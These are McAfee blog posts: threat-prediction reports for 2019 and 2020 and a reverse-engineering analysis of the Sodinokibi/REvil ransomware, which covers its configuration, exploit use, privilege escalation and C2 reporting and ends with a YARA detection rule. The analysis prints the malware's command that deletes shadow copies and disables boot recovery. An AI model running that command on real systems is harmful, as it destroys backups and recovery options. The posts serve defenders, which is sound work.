Organizations seeking improvement in their API security strategy should pursue a more complete understanding of their Cloud Service APIs through comprehensive discovery across SaaS, PaaS and IaaS environments, implement policy-based authorization, and explore User and Entity Behavior Analytics (UEBA) technology to detect anomalous access patterns.

 

DevSecOps Will Rise to Prominence as Growth in Containerized Workloads Causes Security Controls to ‘Shift Left’

 By Sekhar Sarukkai

DevOps teams can continuously roll out micro-services and interacting, reusable components as applications. As a result, the number of organizations prioritizing the adoption of container technologies will continue to increase in 2020. Gartner predicts that “by 2022, more than 75 percent of global organizations will be running containerized applications in production – a significant increase from fewer than 30 percent today.” 1 Container technologies will help organizations modernize legacy applications and create new cloud-native applications that are scalable and agile.

Containerized applications are built by assembling reusable components on software defined Infrastructure-as-Code (IaC) which is deployed into Cloud environments. Continuous Integration / Continuous Deployment (CI/CD) tools automate the build and deploy process of these applications and IaC, creating a challenge for pre-emptive and continuous detection of application vulnerabilities and IaC configuration errors. To adjust to the rise in containerized applications operating in a CI/CD model, security teams will need to conduct their risk assessment at the time of code build, before deployment. This effectively shifts security “left” in the deployment lifecycle and integrates security into the DevOps process, a model frequently referred to as DevSecOps.

Additionally, threats to containerized applications are introduced nor only by IaC misconfigurations or application vulnerabilities, but also abused network privileges which allow lateral movement in an attack. To address these run-time threats, organizations are increasingly turning to cloud-native security tools developed specifically for container environments. Cloud Access Security Brokers (CASB) are used to conduct configuration and vulnerability scanning, while Cloud Workload Protection Platforms (CWPP) work as traffic enforcers for network micro-segmentation based on the identity of the application, regardless of its IP. This approach to application identity-based enforcement will push organizations away from the five-tuple approach to network security which is increasingly irrelevant in the context of ephemeral container deployments.

When CASB and CWPP solutions integrate with CI/CD tools, security teams can meet the speed of DevOps, shifting security “left” and creating a DevSecOps practice within their organization.  Governance, compliance, and overall security of cloud environments will improve as organizations accelerate their transition to DevSecOps with these cloud-native security tools.

 

Gartner Best Practices for Running Containers and Kubernetes in Production, Arun Chandrasekaran, 25 February 2019

The post McAfee Labs 2020 Threats Predictions Report appeared first on McAfee Blogs.

McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us

2 October 2019 at 16:05

Episode 1: What the Code Tells Us

McAfee’s Advanced Threat Research team (ATR) observed a new ransomware family in the wild, dubbed Sodinokibi (or REvil), at the end of April 2019. Around this same time, the GandCrab ransomware crew announced they would shut down their operations. Coincidence? Or is there more to the story?

In this series of blogs, we share fresh analysis of Sodinokibi and its connections to GandCrab, with new insights gleaned exclusively from McAfee ATR’s in-depth and extensive research.

In this first instalment we share our extensive malware and post-infection analysis and visualize exactly how big the Sodinokibi campaign is.

Background

Since its arrival in April 2019, it has become very clear that the new kid in town, “Sodinokibi” or “REvil” is a serious threat. The name Sodinokibi was discovered in the hash ccfde149220e87e97198c23fb8115d5a where ‘Sodinokibi.exe’ was mentioned as the internal file name; it is also known by the name of REvil.

At first, Sodinokibi ransomware was observed propagating itself by exploiting a vulnerability in Oracle’s WebLogic server. However, similar to some other ransomware families, Sodinokibi is what we call a Ransomware-as-a-Service (RaaS), where a group of people maintain the code and another group, known as affiliates, spread the ransomware.

This model allows affiliates to distribute the ransomware any way they like. Some affiliates prefer mass-spread attacks using phishing-campaigns and exploit-kits, where other affiliates adopt a more targeted approach by brute-forcing RDP access and uploading tools and scripts to gain more rights and execute the ransomware in the internal network of a victim. We have investigated several campaigns spreading Sodinokibi, most of which had different modus operandi but we did notice many started with a breach of an RDP server.

Who and Where is Sodinokibi Hitting?

Based on visibility from MVISION Insights we were able to generate the below picture of infections observed from May through August 23rd, 2019:

Who is the target? Mostly organizations, though it really depends on the skills and expertise from the different affiliate groups on who, and in which geo, they operate.

Reversing the Code

In this first episode, we will dig into the code and explain the inner workings of the ransomware once it has executed on the victim’s machine.

Overall the code is very well written and designed to execute quickly to encrypt the defined files in the configuration of the ransomware. The embedded configuration file has some interesting options which we will highlight further in this article.

Based on the code comparison analysis we conducted between GandCrab and Sodinokibi we consider it a likely hypothesis that the people behind the Sodinokibi ransomware may have some type of relationship with the GandCrab crew.

FIGURE 1.1. OVERVIEW OF SODINOKIBI’S EXECUTION FLAW

Inside the Code

Sodinokibi Overview

For this article we researched the sample with the following hash (packed):

The main goal of this malware, as other ransomware families, is to encrypt your files and then request a payment in return for a decryption tool from the authors or affiliates to decrypt them.

The malware sample we researched is a 32-bit binary, with an icon in the packed file and without one in the unpacked file. The packer is programmed in Visual C++ and the malware itself is written in pure assembly.

Technical Details

The goal of the packer is to decrypt the true malware part and use a RunPE technique to run it from memory. To obtain the malware from memory, after the decryption is finished and is loaded into the memory, we dumped it to obtain an unpacked version.

The first action of the malware is to get all functions needed in runtime and make a dynamic IAT to try obfuscating the Windows call in a static analysis.

FIGURE 2. THE MALWARE GETS ALL FUNCTIONS NEEDED IN RUNTIME

The next action of the malware is trying to create a mutex with a hardcoded name. It is important to know that the malware has 95% of the strings encrypted inside. Consider that each sample of the malware has different strings in a lot of places; values as keys or seeds change all the time to avoid what we, as an industry do, namely making vaccines or creating one decryptor without taking the values from the specific malware sample to decrypt the strings.

FIGURE 3. CREATION OF A MUTEX AND CHECK TO SEE IF IT ALREADY EXISTS

If the mutex exists, the malware finishes with a call to “ExitProcess.” This is done to avoid re-launching of the ransomware.

After this mutex operation the malware calculates a CRC32 hash of a part of its data using a special seed that changes per sample too. This CRC32 operation is based on a CRC32 polynomial operation instead of tables to make it faster and the code-size smaller.

The next step is decrypting this block of data if the CRC32 check passes with success. If the check is a failure, the malware will ignore this flow of code and try to use an exploit as will be explained later in the report.

FIGURE 4. CALCULATION OF THE CRC32 HASH OF THE CRYPTED CONFIG AND DECRYPTION IF IT PASSES THE CHECK

In the case that the malware passes the CRC32 check and decrypts correctly with a key that changes per sample, the block of data will get a JSON file in memory that will be parsed. This config file has fields to prepare the keys later to encrypt the victim key and more information that will alter the behavior of the malware.

The CRC32 check avoids the possibility that somebody can change the crypted data with another config and does not update the CRC32 value in the malware.

After decryption of the JSON file, the malware will parse it with a code of a full JSON parser and extract all fields and save the values of these fields in the memory.

FIGURE 5. PARTIAL EXAMPLE OF THE CONFIG DECRYPTED AND CLEANED

Let us explain all the fields in the config and their meanings:

  • pk -> This value encoded in base64 is important later for the crypto process; it is the public key of the attacker.
  • pid -> The affiliate number that belongs to the sample.
  • sub -> The subaccount or campaign id for this sample that the affiliate uses to keep track of its payments.
  • dbg -> Debug option. In the final version this is used to check if some things have been done or not; it is a development option that can be true or false. In the samples in the wild it is in the false state. If it is set, the keyboard check later will not happen. It is useful for the malware developers to prove the malware works correctly in the critical part without detecting his/her own machines based on the language.
  • fast -> If this option is enabled, and by default a lot of samples have it enabled, the malware will crypt the first 1 megabyte of each target file, or all files if it is smaller than this size. In the case that this field is false, it will crypt all files.
  • wipe -> If this option is ‘true’, the malware will destroy the target files in the folders that are described in the json field “wfld”. This destruction happens in all folders that have the name or names that appear in this field of the config in logic units and network shares. The overwriting of the files can be with trash data or null data, depending of the sample.
  • wht -> This field has some subfields: fld -> Folders that should not be crypted; they are whitelisted to avoid destroying critical files in the system and programs. fls -> List of whitelists of files per name; these files will never be crypted and this is useful to avoid destroying critical files in the system. ext -> List of the target extensions to avoid encrypting based on extension.
  • wfld -> A list of folders where the files will be destroyed if the wipe option is enabled.
  • prc -> List of processes to kill for unlocking files that are locked by this/these program/s, for example, “mysql.exe”.
  • dmn -> List of domains that will be used for the malware if the net option is enabled; this list can change per sample, to send information of the victim.
  • net -> This value can be false or true. By default, it is usually true, meaning that the malware will send information about the victim if they have Internet access to the domain list in the field “dmn” in the config.
  • nbody -> A big string encoded in base64 that is the template for the ransom note that will appear in each folder where the malware can create it.
  • nname -> The string of the name of the malware for the ransom note file. It is a template that will have a part that will be random in the execution.
  • exp -> This field is very important in the config. By default it will usually be ‘false’, but if it is ‘true’, or if the check of the hash of the config fails, it will use the exploit CVE-2018-8453. The malware has this value as false by default because this exploit does not always work and can cause a Blue Screen of Death that avoids the malware’s goal to encrypt the files and request the ransom. If the exploit works, it will elevate the process to SYSTEM user.
  • img -> A string encoded in base64. It is the template for the image that the malware will create in runtime to change the wallpaper of the desktop with this text.

After decrypting the malware config, it parses it and the malware will check the “exp” field and if the value is ‘true’, it will detect the type of the operative system using the PEB fields that reports the major and minor version of the OS.

FIGURE 6. CHECK OF THE VERSION OF THE OPERATIVE SYSTEM

Usually only one OS can be found but that is enough for the malware. The malware will check the file-time to verify if the date was before or after a patch was installed to fix the exploit. If the file time is before the file time of the patch, it will check if the OS is 64-bit or 32-bit using the function “GetSystemNativeInfoW”. When the OS system is 32-bit, it will use a shellcode embedded in the malware that is the exploit and, in the case of a 64-bit OS, it will use another shellcode that can use a “Heaven´s Gate” to execute code of 64 bits in a process of 32 bits.

FIGURE 7. CHECK IF OS IS 32- OR 64-BIT

In the case that the field was false, or the exploit is patched, the malware will check the OS version again using the PEB. If the OS is Windows Vista, at least it will get from the own process token the level of execution privilege. When the discovered privilege level is less than 0x3000 (that means that the process is running as a real administrator in the system or SYSTEM), it will relaunch the process using the ‘runas’ command to elevate to 0x3000 process from 0x2000 or 0x1000 level of execution. After relaunching itself with the ‘runas’ command the malware instance will finish.

FIGURE 8. CHECK IF OS IS WINDOWS VISTA MINIMAL AND CHECK OF EXECUTION LEVEL

The malware’s next action is to check if the execute privilege is SYSTEM. When the execute privilege is SYSTEM, the malware will get the process “Explorer.exe”, get the token of the user that launched the process and impersonate it. It is a downgrade from SYSTEM to another user with less privileges to avoid affecting the desktop of the SYSTEM user later.

After this it will parse again the config and get information of the victim’s machine This information is the user of the machine, the name of the machine, etc. The malware prepares a victim id to know who is affected based in two 32-bit values concat in one string in hexadecimal.

The first part of these two values is the serial number of the hard disk of the Windows main logic unit, and the second one is the CRC32 hash value that comes from the CRC32 hash of the serial number of the Windows logic main unit with a seed hardcoded that change per sample.

FIGURE 9. GET DISK SERIAL NUMBER TO MAKE CRC32 HASH

After this, the result is used as a seed to make the CRC32 hash of the name of the processor of the machine. But this name of the processor is not extracted using the Windows API as GandCrab does; in this case the malware authors use the opcode CPUID to try to make it more obfuscated.

FIGURE 10. GET THE PROCESSOR NAME USING CPUID OPCODE

Finally, it converts these values in a string in a hexadecimal representation and saves it.

Later, during the execution, the malware will write in the Windows registry the next entries in the subkey “SOFTWARE\recfg” (this subkey can change in some samples but usually does not).

The key entries are:

  • 0_key -> Type binary; this is the master key (includes the victim’s generated random key to crypt later together with the key of the malware authors).
  • sk_key -> As 0_key entry, it is the victim’s private key crypted but with the affiliate public key hardcoded in the sample. It is the key used in the decryptor by the affiliate, but it means that the malware authors can always decrypt any file crypted with any sample as a secondary resource to decrypt the files.
  • pk_key -> Victim public key derivate from the private key.
  • subkey -> Affiliate public key to use.
  • stat -> The information gathered from the victim machine and used to put in the ransom note crypted and in the POST send to domains.
  • rnd_ext -> The random extension for the encrypted files (can be from 5 to 10 alphanumeric characters).

The malware tries to write the subkey and the entries in the HKEY_LOCAL_MACHINE hive at first glance and, if it fails, it will write them in the HKEY_CURRENT_USER hive.

FIGURE 11. EXAMPLE OF REGISTRY ENTRIES AND SUBKEY IN THE HKLM HIVE

The information that the malware gets from the victim machine can be the user name, the machine name, the domain where the machine belongs or, if not, the workgroup, the product name (operating system name), etc.

After this step is completed, the malware will check the “dbg” option gathered from the config and, if that value is ‘true’, it will avoid checking the language of the machine but if the value is ‘false’ ( by default), it will check the machine language and compare it with a list of hardcoded values.

FIGURE 12. GET THE KEYBOARD LANGUAGE OF THE SYSTEM

The malware checks against the next list of blacklisted languages (they can change per sample in some cases):

  • 0x818 – Romanian (Moldova)
  • 0x419 – Russian
  • 0x819 – Russian (Moldova)
  • 0x422 – Ukrainian
  • 0x423 – Belarusian
  • 0x425 – Estonian
  • 0x426 – Latvian
  • 0x427 – Lithuanian
  • 0x428 – Tajik
  • 0x429 – Persian
  • 0x42B – Armenian
  • 0x42C – Azeri
  • 0x437 – Georgian
  • 0x43F – Kazakh
  • 0x440 – Kyrgyz
  • 0x442 –Turkmen
  • 0x443 – Uzbek
  • 0x444 – Tatar
  • 0x45A – Syrian
  • 0x2801 – Arabic (Syria)

We observed that Sodinokibi, like GandCrab and Anatova, are blacklisting the regular Syrian language and the Syrian language in Arabic too. If the system contains one of these languages, it will exit without performing any action. If a different language is detected, it will continue in the normal flow.

This is interesting and may hint to an affiliate being involved who has mastery of either one of the languages. This insight became especially interesting later in our investigation.

If the malware continues, it will search all processes in the list in the field “prc” in the config and terminate them in a loop to unlock the files locked for this/these process/es.

FIGURE 13. SEARCH FOR TARGET PROCESSES AND TERMINATE THEM

After this it will destroy all shadow volumes of the victim machine and disable the protection of the recovery boot with this command:

  • exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

It is executed with the Windows function “ShellExecuteW”.

FIGURE 14. LAUNCH COMMAND TO DESTROY SHADOW VOLUMES AND DESTROY SECURITY IN THE BOOT

Next it will check the field of the config “wipe” and if it is true will destroy and delete all files with random trash or with NULL values. If the malware destroys the files , it will start enumerating all logic units and finally the network shares in the folders with the name that appear in the config field “wfld”.

FIGURE 15. WIPE FILES IN THE TARGET FOLDERS

In the case where an affiliate creates a sample that has defined a lot of folders in this field, the ransomware can be a solid wiper of the full machine.

The next action of the malware is its main function, encrypting the files in all logic units and network shares, avoiding the white listed folders and names of files and extensions, and dropping the ransom note prepared from the template in each folder.

FIGURE 16. CRYPT FILES IN THE LOGIC UNITS AND NETWORK SHARES

After finishing this step, it will create the image of the desktop in runtime with the text that comes in the config file prepared with the random extension that affect the machine.

The next step is checking the field “net” from the config, and, if true, will start sending a POST message to the list of domains in the config file in the field “dmn”.

FIGURE 17. PREPARE THE FINAL URL RANDOMLY PER DOMAIN TO MAKE THE POST COMMAND

This part of the code has similarities to the code of GandCrab, which we will highlight later in this article.

After this step the malware cleans its own memory in vars and strings but does not remove the malware code, but it does remove the critical contents to avoid dumps or forensics tools that can gather some information from the RAM.

FIGURE 18. CLEAN MEMORY OF VARS

If the malware was running as SYSTEM after the exploit, it will revert its rights and finally finish its execution.

FIGURE 19. REVERT THE SYSTEM PRIVILEGE EXECUTION LEVEL

Code Comparison with GandCrab

Using the unpacked Sodinokibi sample and a v5.03 version of GandCrab, we started to use IDA and BinDiff to observe any similarities. Based on the Call-Graph it seems that there is an overall 40 percent code overlap between the two:

FIGURE 20. CALL-GRAPH COMPARISON

The most overlap seems to be in the functions of both families. Although values change, going through the code reveals similar patterns and flows:

Although here and there are some differences, the structure is similar:

 

We already mentioned that the code part responsible for the random URL generation has similarities with regards to how it is generated in the GandCrab malware. Sodinokibi is using one function to execute this part where GandCrab is using three functions to generate the random URL. Where we do see some similar structure is in the parts for the to-be-generated URL in both malware codes. We created a visual to explain the comparison better:

FIGURE 21. URL GENERATION COMPARISON

We observe how even though the way both ransomware families generate the URL might differ, the URL directories and file extensions used have a similarity that seems to be more than coincidence. This observation was also discovered by Tesorion in one of its blogs.

Overall, looking at the structure and coincidences, either the developers of the GandCrab code used it as a base for creating a new family or, another hypothesis, is that people got hold of the leaked GandCrab source code and started the new RaaS Sodinokibi.

Conclusion

Sodinokibi is a serious new ransomware threat that is hitting many victims all over the world.

We executed an in-depth analysis comparing GandCrab and Sodinokibi and discovered a lot of similarities, indicating the developer of Sodinokibi had access to GandCrab source-code and improvements. The Sodinokibi campaigns are ongoing and differ in skills and tools due to the different affiliates operating these campaigns, which begs more questions to be answered. How do they operate? And is the affiliate model working? McAfee ATR has the answers in episode 2, “The All Stars.”

Coverage

McAfee is detecting this family by the following signatures:

  • “Ransom-Sodinokibi”
  • “Ransom-REvil!”.

MITRE ATT&CK Techniques

The malware sample uses the following MITRE ATT&CK™ techniques:

  • File and Directory Discovery
  • File Deletion
  • Modify Registry
  • Query Registry
  • Registry modification
  • Query information of the user
  • Crypt Files
  • Destroy Files
  • Make C2 connections to send information of the victim
  • Modify system configuration
  • Elevate privileges

YARA Rule

rule Sodinokobi

{

/*

This rule detects Sodinokobi Ransomware in memory in old samples and perhaps future.

*/

meta:

author      = “McAfee ATR team”

version     = “1.0”

description = “This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future.”

strings:

$a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF }

$b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA }

condition:

all of them

}

 

The post McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us appeared first on McAfee Blogs.

McAfee Labs 2019 Threats Predictions Report

29 November 2018 at 09:00

These predictions were written by Eoin Carroll, Taylor Dunton, John Fokker, German Lancioni, Lee Munson, Yukihiro Okutomi, Thomas Roccia, Raj Samani, Sekhar Sarukkai, Dan Sommer, and Carl Woodward.

As 2018 draws to a close, we should perhaps be grateful that the year has not been entirely dominated by ransomware, although the rise of the GandCrab and SamSam variants show that the threat remains active. Our predictions for 2019 move away from simply providing an assessment on the rise or fall of a particular threat, and instead focus on current rumblings we see in the cybercriminal underground that we expect to grow into trends and subsequently threats in the wild.

We have witnessed greater collaboration among cybercriminals exploiting the underground market, which has allowed them to develop efficiencies in their products. Cybercriminals have been partnering in this way for years; in 2019 this market economy will only expand. The game of cat and mouse the security industry plays with ransomware developers will escalate, and the industry will need to respond more quickly and effectively than ever before.

Social media has been a part of our lives for more than a decade. Recently, nation-states have infamously used social media platforms to spread misinformation. In 2019, we expect criminals to begin leveraging those tactics for their own gain. Equally, the continued growth of the Internet of Things in the home will inspire criminals to target those devices for monetary gain.

One thing is certain: Our dependency on technology has become ubiquitous. Consider the breaches of identity platforms, with reports of 50 million users being affected. It is no longer the case that a breach is limited to that platform. Everything is connected, and you are only as strong as your weakest link. In the future, we face the question of which of our weakest links will be compromised.

—Raj Samani, Chief Scientist and McAfee Fellow, Advanced Threat Research

Twitter @Raj_Samani

 

Predictions

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Artificial Intelligence the Future of Evasion Techniques

Synergistic Threats Will Multiply, Requiring Combined Responses

Misinformation, Extortion Attempts to Challenge Organizations’ Brands

Data Exfiltration Attacks to Target the Cloud

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

Cybercriminals to Increase Attacks on Identity Platforms and Edge Devices Under Siege

Cybercriminal Underground to Consolidate, Create More Partnerships to Boost Threats

Hidden hacker forums and chat groups serve as a market for cybercriminals, who can buy malware, exploits, botnets, and other shady services. With these off-the-shelf products, criminals of varying experience and sophistication can easily launch attacks. In 2019, we predict the underground will consolidate, creating fewer but stronger malware-as-a-service families that will actively work together. These increasingly powerful brands will drive more sophisticated cryptocurrency mining, rapid exploitation of new vulnerabilities, and increases in mobile malware and stolen credit cards and credentials.

We expect more affiliates to join the biggest families, due to the ease of operation and strategic alliances with other essential top-level services, including exploit kits, crypter services, Bitcoin mixers, and counter-antimalware services. Two years ago, we saw many of the largest ransomware families, for example, employ affiliate structures. We still see numerous types of ransomware pop up, but only a few survive because most cannot attract enough business to compete with the strong brands, which offer higher infection rates as well as operational and financial security. At the moment the largest families actively advertise their goods; business is flourishing because they are strong brands (see GandCrab) allied with other top-level services, such as money laundering or making malware undetectable.

Underground businesses function successfully because they are part of a trust-based system. This may not be a case of “honor among thieves,” yet criminals appear to feel safe, trusting they cannot be touched in the inner circle of their forums. We have seen this trust in the past, for example, with the popular credit card shops in the first decade of the century, which were a leading source of cybercrime until major police action broke the trust model.

As endpoint detection grows stronger, the vulnerable remote desktop protocol (RDP) offers another path for cybercriminals. In 2019 we predict malware, specifically ransomware, will increasingly use RDP as an entry point for an infection. Currently, most underground shops advertise RDP access for purposes other than ransomware, typically using it as a stepping stone to gain access to Amazon accounts or as a proxy to steal credit cards. Targeted ransomware groups and ransomware-as-a-service (RaaS) models will take advantage of RDP, and we have seen highly successful under-the-radar schemes use this tactic. Attackers find a system with weak RDP, attack it with ransomware, and propagate through networks either living off the land or using worm functionality (EternalBlue). There is evidence that the author of GandCrab is already working on an RDP option.

We also expect malware related to cryptocurrency mining will become more sophisticated, selecting which currency to mine on a victim’s machine based on the processing hardware (WebCobra) and the value of a specific currency at a given time.

Next year, we predict the length of a vulnerability’s life, from detection to weaponization, will grow even shorter. We have noticed a trend of cybercriminals becoming more agile in their development process. They gather data on flaws from online forums and the Common Vulnerabilities and Exposures database to add to their malware. We predict that criminals will sometimes take a day or only hours to implement attacks against the latest weaknesses in software and hardware.

We expect to see an increase in underground discussions on mobile malware, mostly focused on Android, regarding botnets, banking fraud, ransomware, and bypassing two-factor authentication security. The value of exploiting the mobile platform is currently underestimated as phones offer a lot to cybercriminals given the amount of access they have to sensitive information such as bank accounts.

Credit card fraud and the demand for stolen credit card details will continue, with an increased focus on online skimming operations that target third-party payment platforms on large e-commerce sites. From these sites, criminals can silently steal thousands of fresh credit cards details at a time. Furthermore, social media is being used to recruit unwitting users, who might not know they are working for criminals when they reship goods or provide financial services.

We predict an increase in the market for stolen credentials—fueled by recent large data breaches and by bad password habits of users. The breaches lead, for example, to the sale of voter records and email-account hacking. These attacks occur daily.

Artificial Intelligence the Future of Evasion Techniques

To increase their chances of success, attackers have long employed evasion techniques to bypass security measures and avoid detection and analysis. Packers, crypters, and other tools are common components of attackers’ arsenals. In fact, an entire underground economy has emerged, offering products and dedicated services to aid criminal activities. We predict in 2019, due to the ease with which criminals can now outsource key components of their attacks, evasion techniques will become more agile due to the application of artificial intelligence. Think the counter-AV industry is pervasive now? This is just the beginning.

In 2018 we saw new process-injection techniques such as “process doppelgänging” with the SynAck ransomware, and PROPagate injection delivered by the RigExploit Kit. By adding technologies such as artificial intelligence, evasion techniques will be able to further circumvent protections.

Different evasions for different malware

In 2018, we observed the emergence of new threats such as cryptocurrency miners, which hijack the resources of infected machines. With each threat comes inventive evasion techniques:

  • Cryptocurrency mining: Miners implement a number of evasion techniques. Minerva Labs discovered WaterMiner, which simply stops its mining process when the victim runs the Task Manager or an antimalware scan.
  • Exploit kits: Popular evasion techniques include process injection or the manipulation of memory space and adding arbitrary code. In-memory injection is a popular infection vector for avoiding detection during delivery.
  • Botnets: Code obfuscation or anti-disassembling techniques are often used by large botnets that infect thousands of victims. In May 2018, AdvisorsBot was discovered using junk code, fake conditional instructions, XOR encryption, and even API hashing. Because bots tend to spread widely, the authors implemented many evasion techniques to slow reverse engineering. They also used obfuscation mechanisms for communications between the bots and control servers. Criminals use botnets for activities such as DDOS for hire, proxies, spam, or other malware delivery. Using evasion techniques is critical for criminals to avoid or delay botnet takedowns.
  • Advanced persistent threats: Stolen certificates bought on the cybercriminal underground are often used in targeted attacks to bypass antimalware detection. Attackers also use low-level malware such as rootkits or firmware-based threats. For example, in 2018 ESET discovered the first UEFI rootkit, LoJax. Security researchers have also seen destructive features used as anti-forensic techniques: The OlympicDestroyer malware targeted the Olympic Games organization and erased event logs and backups to avoid investigation.

Artificial intelligence the next weapon

In recent years, we have seen malware using evasion techniques to bypass machine learning engines. For example, in 2017 the Cerber ransomware dropped legitimate files on systems to trick the engine that classifies files. In 2018, PyLocky ransomware used InnoSetup to package the malware and avoid machine learning detection.

Clearly, bypassing artificial intelligence engines is already on the criminal to-do list; however, criminals can also implement artificial intelligence in their malicious software. We expect evasion techniques to begin leveraging artificial intelligence to automate target selection, or to check infected environments before deploying later stages and avoiding detection.

Such implementation is game changing in the threat landscape. We predict it will soon be found in the wild.

Synergistic Threats Will Multiply, Requiring Combined Responses

This year we have seen cyber threats adapt and pivot faster than ever. We have seen ransomware evolving to be more effective or operate as a smoke screen. We have seen cryptojacking soar, as it provides a better, and safer, return on investment than ransomware. We can still see phishing going strong and finding new vulnerabilities to exploit. We also noticed fileless and “living off the land” threats are more slippery and evasive than ever, and we have even seen the incubation of steganography malware in the Pyeongchang Olympics campaign. In 2019, we predict attackers will more frequently combine these tactics to create multifaced, or synergistic, threats.

What could be worse?

Attacks are usually centered on the use of one threat. Bad actors concentrate their efforts on iterating and evolving one threat at a time for effectiveness and evasion. When an attack is successful, it is classified as ransomware, cryptojacking, data exfiltration, etc., and defenses are put in place. At this point, the attack’s success rate is significantly reduced. However, if a sophisticated attack involves not one but five top-notch threats synergistically working together, the defense panorama could become very blurry. The challenge arises when an attempt is made to identify and mitigate the attack. Because the ultimate attack goals are unknown, one might get lost in the details of each threat as it plays a role in the chain.

One of the reasons synergic threats are becoming a reality is because bad actors are improving their skills by developing foundations, kits, and reusable threat components. As attackers organize their efforts into a black-market business model, they can focus on adding value to previous building blocks. This strategy allows them to orchestrate multiple threats instead of just one to reach their goals.

An example is worth a thousand words

Imagine an attack that starts with a phishing threat—not a typical campaign using Word documents, but a novel technique. This phishing email contains a video attachment. When you open the video, your video player does not play and prompts you to update the codec. Once you run the update, a steganographic polyglot file (a simple GIF) is deployed on your system. Because it is a polyglot (a file that conforms to more than one format at the same time), the GIF file schedules a task that fetches a fileless script hosted on a compromised system. That script running in memory evaluates your system and decides to run either ransomware or a cryptocurrency miner. That is a dangerous synergistic threat in action.

The attack raises many questions: What are you dealing with? Is it phishing 2.0? Is it stegware? Is it fileless and “living off the land”? Cryptojacking? Ransomware? It is everything at the same time.

This sophisticated but feasible example demonstrates that focusing on one threat may not be enough to detect or remediate an attack. When you aim to classify the attack into a single category, you might lose the big picture and thus be less effective mitigating it. Even if you stop the attack in the middle of the chain, discovering the initial and final stages is as important for protecting against future attempts.

Be curious, be creative, connect your defenses

Tackling sophisticated attacks based on synergic threats requires questioning every threat. What if this ransomware hit was part of something bigger? What if this phishing email pivots to a technique that employees are not trained for? What if we are missing the real goal of the attack?

Bearing these questions in mind will not only help capture the big picture, but also get the most of security solutions. We predict bad actors will add synergy to their attacks, but cyber defenses can also work synergistically.

Cybercriminals to Use Social Media Misinformation, Extortion Campaigns to Challenge Organizations’ Brands

The elections were influenced, fake news prevails, and our social media followers are all foreign government–controlled bots. At least that’s how the world feels sometimes. To say recent years have been troubled for social media companies would be an understatement. During this period a game of cat and mouse has ensued, as automated accounts are taken down, adversaries tactics evolve, and botnet accounts emerge looking more legitimate than ever before. In 2019, we predict an increase of misinformation and extortion campaigns via social media that will focus on brands and originate not from nation-state actors but from criminal groups.

Nation-states leverage bot battalions to deliver messages or manipulate opinion, and their effectiveness is striking. Bots often will take both sides of a story to spur debate, and this tactic works. By employing a system of amplifying nodes, as well as testing the messaging (including hashtags) to determine success rates, botnet operators demonstrate a real understanding of how to mold popular opinion on critical issues.

In one example, an account that was only two weeks old with 279 followers, most of which were other bots, began a harassment campaign against an organization. By amplification, the account generated an additional 1,500 followers in only four weeks by simply tweeting malicious content about their target.

Activities to manipulate public opinion have been well documented and bots well versed in manipulating conversations to drive agendas stand ready. Next year we expect that cybercriminals will repurpose these campaigns to extort companies by threatening to damage their brands. Organizations face a serious danger.

Data Exfiltration Attacks to Target the Cloud

In the past two years, enterprises have widely adopted the Software-as-a-Service model, such as Office 365, as well as Infrastructure- and Platform-as-a-Service cloud models, such as AWS and Azure. With this move, far more corporate data now resides in the cloud. In 2019, we expect a significant increase in attacks that follow the data to the cloud.

With the increased adoption of Office 365, we have noticed a surge of attacks on the service— especially attempts to compromise email. One threat the McAfee cloud team uncovered was the botnet KnockKnock, which targeted system accounts that typically do not have multifactor authentication. We have also seen the emergence of exploits of the trust model in the Open Authorization standard. One was launched by Fancy Bear, the Russian cyber espionage group, phishing users with a fake Google security app to gain access to user data.

Similarly, during the last couple of years we have seen many high-profile data breaches attributed to misconfigured Amazon S3 buckets. This is clearly not the fault of AWS. Based on the shared responsibility model, the customer is on the hook to properly configure IaaS/PaaS infrastructure and properly protect their enterprise data and user access. Complicating matters, many of these misconfigured buckets are owned by vendors in their supply chains, rather than by the target enterprises. With access to thousands of open buckets and credentials, bad actors are increasingly opting for these easy pickings.

McAfee has found that 21% of data in the cloud is sensitive—such as intellectual property, and customer and personal data—according to the McAfee Cloud Adoption and Risk Report. With a 33% increase in users collaborating on this data during the past year, cybercriminals know how to seek more targets:

  • Cloud-native attacks targeting weak APIs or ungoverned API endpoints to gain access to the data in SaaS as well as in PaaS and serverless workloads
  • Expanded reconnaissance and exfiltration of data in cloud databases (PaaS or custom applications deployed in IaaS) expanding the S3 exfiltration vector to structured data in databases or data lakes
  • Leveraging the cloud as a springboard for cloud-native man-in-the-middle attacks (such as GhostWriter, which exploits publicly writable S3 buckets introduced due to customer misconfigurations) to launch cryptojacking or ransomware attacks into other variants of MITM attacks.

Voice-Controlled Digital Assistants the Next Vector in Attacking IoT Devices

As tech fans continue to fill their homes with smart gadgets, from plugs to TVs, coffee makers to refrigerators, and motion sensors to lighting, the means of gaining entry to a home network are growing rapidly, especially given how poorly secured many IoT devices remain.

But the real key to the network door next year will be the voice-controlled digital assistant, a device created in part to manage all the IoT devices within a home. As sales increase—and an explosion in adoption over the holiday season looks likely—the attraction for cybercriminals to use assistants to jump to the really interesting devices on a network will only continue to grow.

For now, the voice assistant market is still taking shape, with many brands still looking to dominate the market, in more ways than one, and it is unclear whether one device will become ubiquitous. If one does take the lead, its security features will quite rightly fall under the microscope of the media, though not perhaps before its privacy concerns have been fully examined in prose.

(Last year we highlighted privacy as the key concern for home IoT devices. Privacy will continue to be a concern, but cybercriminals will put more effort into building botnets, demanding ransoms, and threatening the destruction of property of both homes and businesses).

This opportunity to control a home’s or office’s devices will not go unnoticed by cybercriminals, who will engage in an altogether different type of writing in relation to the market winner, in the form of malicious code designed to attack not only IoT devices but also the digital assistants that are given so much license to talk to them.

